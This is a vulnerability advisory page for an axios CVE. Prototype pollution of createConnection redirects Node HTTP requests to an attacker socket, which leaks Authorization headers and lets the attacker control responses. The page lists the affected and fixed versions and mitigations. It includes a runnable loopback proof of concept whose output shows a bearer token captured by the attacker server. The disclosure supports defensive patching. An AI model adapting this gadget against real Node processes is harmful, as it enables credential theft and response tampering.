AXIOS · CVE-2026-101905 · Package
FIX → 1.20.0 · >=1.20.0
Axios's Node HTTP adapter can be tricked into opening its connection to an attacker-controlled socket when Object.prototype.createConnection has been polluted elsewhere in the same process. The attacker then receives request headers and bodies, including Authorization tokens, and can return responses to the application.
first public Sep 16, 2026 · 3 sources
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Only Node.js processes that use axios's Node HTTP adapter and also contain a separate prototype-pollution flaw in the same process. Browser usage is not affected. Processes without prototype pollution are not exposed to this issue, but the attack depends on another library's flaw, so the risk is in the whole dependency tree.
Not affected if browser-only, custom-trusted-transport, no-prototype-pollution
Who cares axios, node.js, prototype-pollution, server-side
npm ls axios to find the installed axios version in each project.>= 1.15.2 and < 1.20.0 (affected) or otherwise below the fixed 1.20.0.Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive createConnection request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If Object.prototype.createConnection has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.
Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.
Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.
This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.
Affected:
createConnection.Object.prototype.createConnection is polluted.Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 1.20.0 · >=1.20.0
1.20.0 or laterNot affected:
createConnection and sanitizes options internally.lib/adapters/http.js creates:
const options = Object.assign(Object.create(null), {
path,
method,
headers,
agents: { http: httpAgent, https: httpsAgent },
auth,
protocol,
family,
beforeRedirect: dispatchBeforeRedirect,
beforeRedirects: Object.create(null),
http2Options,
});
The object does not include an own createConnection property. Local verification on axios 1.18.1 polluted Object.prototype.createConnection to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received Bearer SECRET.
Constrained local demonstration:
Object.prototype.createConnection = function (_options, cb) {
const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => {
if (typeof cb === 'function') cb(null, socket);
});
return socket;
};
await axios.get('http://127.0.0.1:<legit-port>/secret', {
headers: { Authorization: 'Bearer SECRET' },
proxy: false
});
Expected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.
Run axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.
Axios' Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.
When Object.prototype.createConnection is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with Object.create(null). The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.
This allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.
Given an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:
The important boundary here is axios' documented/read-side prototype-pollution hardening. The project threat model discusses polluted Object.prototype from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.
The HTTP adapter constructs a null-prototype request options object before calling the selected transport:
const options = Object.assign(Object.create(null), {
path,
method: method,
headers: toByteStringHeaderObject(headers),
agents: { http: config.httpAgent, https: config.httpsAgent },
auth,
protocol,
family,
beforeRedirect: dispatchBeforeRedirect,
beforeRedirects: Object.create(null),
http2Options,
});
That prevents direct inherited reads while the options object remains null-prototype. However, Node's HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from Object.prototype again.
createConnection is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.
The following minimal proof uses a legitimate target server and an attacker server. It pollutes Object.prototype.createConnection, then makes an axios request to the legitimate server with an Authorization header.
import net from 'node:net';
import http from 'node:http';
import axios from 'axios';
function listen(handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(0, '127.0.0.1', () => resolve(s));
});
}
const legitHits = [];
const attackerHits = [];
const legit = await listen((req, res) => {
legitHits.push({url: req.url, auth: req.headers.authorization || null});
res.end('LEGIT');
});
const attacker = await listen((req, res) => {
attackerHits.push({url: req.url, auth: req.headers.authorization || null});
res.end('ATTACKER');
});
Object.prototype.createConnection = function(options, cb) {
const sock = net.createConnection({
host: '127.0.0.1',
port: attacker.address().port,
}, () => {
if (typeof cb === 'function') cb(null, sock);
});
return sock;
};
const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {
headers: {Authorization: 'Bearer SECRET'},
proxy: false,
});
console.log({
response: res.data,
legitHits,
attackerHits,
});
Observed result on the current npm package:
{
"response": "ATTACKER",
"legitHits": [],
"attackerHits": [
{
"url": "/secret",
"auth": "Bearer SECRET"
}
]
}
The request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.
I reproduced this against:
This page as .md · .json · CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.